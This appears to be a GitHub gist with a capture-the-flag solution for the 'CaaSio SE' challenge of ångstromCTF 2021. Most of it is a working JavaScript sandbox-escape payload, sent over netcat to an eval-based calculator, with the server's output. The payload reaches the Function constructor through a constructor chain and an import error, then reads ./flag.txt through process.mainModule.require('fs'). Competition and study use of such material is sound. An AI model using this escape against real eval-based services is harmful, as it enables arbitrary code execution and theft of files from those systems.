Skip to content

Instantly share code, notes, and snippets.

@st98
Last active April 8, 2021 11:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save st98/8b0be546667feb2c7dddab3a9f551b55 to your computer and use it in GitHub Desktop.
Save st98/8b0be546667feb2c7dddab3a9f551b55 to your computer and use it in GitHub Desktop.
ångstromCTF 2021 - CaaSio SE
$ nc misc.2021.chall.actf.co 21705
Welcome to CaaSio Snake Edition! Enter your calculation:
[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123}
Result:
{
'(async()=>{try{await import("")}catch(e){e[c][c](b)()}})()': 123,
'p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))': 123,
undefined: 123
}
Variables:
a = (async()=>{try{await import("")}catch(e){e[c][c](b)()}})()
b = p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))
c = constructor
actf{maybe_eval_is_just_a_bad_idea}
gg
splitline
[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment